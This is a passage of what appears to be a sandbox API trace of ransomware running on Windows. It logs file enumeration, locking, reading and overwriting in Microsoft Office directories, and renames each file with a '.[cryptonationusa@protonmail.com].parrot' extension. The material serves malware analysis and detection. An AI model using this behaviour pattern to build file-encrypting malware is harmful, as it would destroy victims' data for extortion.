cFileName="ACT3.SAM.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACT3SA~1.PAR")) returned 1 [0183.774] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x657, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.774] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.774] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0183.775] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.775] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x53f, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x53f, lpOverlapped=0x0) returned 1 [0183.775] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.776] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x657, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.776] CloseHandle (hObject=0x288) returned 1 [0183.776] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.780] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0183.781] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0183.781] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.781] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0183.781] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0183.781] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0183.781] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0183.781] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0183.782] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0183.782] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0183.782] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.783] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0183.783] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0183.783] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0183.783] lstrcmpW (lpString1="14", lpString2=".") returned 1 [0183.783] lstrcmpW (lpString1="14", lpString2="..") returned 1 [0183.783] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0183.784] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0183.784] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.784] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0183.784] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0183.784] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3845b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe4ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 1 [0183.784] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3fe5c3, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.784] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.784] ReadFile (in: hFile=0x284, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0183.786] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.786] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0183.840] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.840] WriteFile (in: hFile=0x284, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18e8f4*=0x118, lpOverlapped=0x0) returned 1 [0183.899] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.899] WriteFile (in: hFile=0x284, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0183.902] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3fe5c3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.902] CloseHandle (hObject=0x284) returned 1 [0183.903] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\Built-In Building Blocks.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14\\built-in building blocks.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\Built-In Building Blocks.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14\\built-in building blocks.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.912] GetFileType (hFile=0x284) returned 0x1 [0183.912] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0183.924] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0183.924] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf9a5c680, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf9a5c680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.925] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3845b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9a36520, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3fe5c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BUILT-~1.PAR")) returned 1 [0183.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658818 [0183.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658818 | out: hHeap=0x5b0000) returned 1 [0183.925] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0183.925] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.925] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf9a5c680, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf9a5c680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0183.925] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf9a5c680, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf9a5c680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0183.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b4908 | out: hHeap=0x5b0000) returned 1 [0183.925] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0183.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0183.926] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0183.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0183.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c98 | out: hHeap=0x5b0000) returned 1 [0183.926] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0183.927] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0183.927] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.928] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0183.928] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0183.928] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0183.928] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0183.928] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0183.928] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff0d00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xcfd6d220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ff0d00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x1acf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1 [0183.928] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d448 [0183.928] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0183.929] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x46d9e, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.929] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.929] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0183.930] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.931] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x46c86, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x46c86, lpOverlapped=0x0) returned 1 [0184.030] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0184.031] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0184.031] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0184.031] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0184.031] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0184.031] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0184.031] GetLastError () returned 0x0 [0184.041] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0184.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0184.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0184.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0184.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0184.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0184.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0184.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0184.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0184.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0184.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0184.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0184.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0184.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0184.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0184.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0184.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0184.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0184.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0184.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0184.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0184.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0184.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0184.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0184.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0184.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0184.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0184.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0184.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0184.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0184.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0184.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0184.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0184.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0184.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0184.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0184.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0184.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0184.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0184.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0184.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0184.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0184.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0184.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0184.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0184.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x2294050 [0184.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0184.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x2296fe8 [0184.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2294050 | out: hHeap=0x5b0000) returned 1 [0184.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x3150048 [0184.044] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2296fe8 | out: hHeap=0x5b0000) returned 1 [0184.044] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x22d8068 [0184.045] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150048 | out: hHeap=0x5b0000) returned 1 [0184.045] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x3150048 [0184.045] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d8068 | out: hHeap=0x5b0000) returned 1 [0184.045] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x22d8068 [0184.046] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150048 | out: hHeap=0x5b0000) returned 1 [0184.046] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x3198458 [0184.048] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d8068 | out: hHeap=0x5b0000) returned 1 [0184.048] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x32a39) returned 0x22d8068 [0184.049] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0184.049] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4bf44) returned 0x3198458 [0184.051] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d8068 | out: hHeap=0x5b0000) returned 1 [0184.055] WriteFile (in: hFile=0x288, lpBuffer=0x3198460*, nNumberOfBytesToWrite=0x46da8, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x3198460*, lpNumberOfBytesWritten=0x18f1c4*=0x46da8, lpOverlapped=0x0) returned 1 [0184.059] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0184.062] UnlockFile 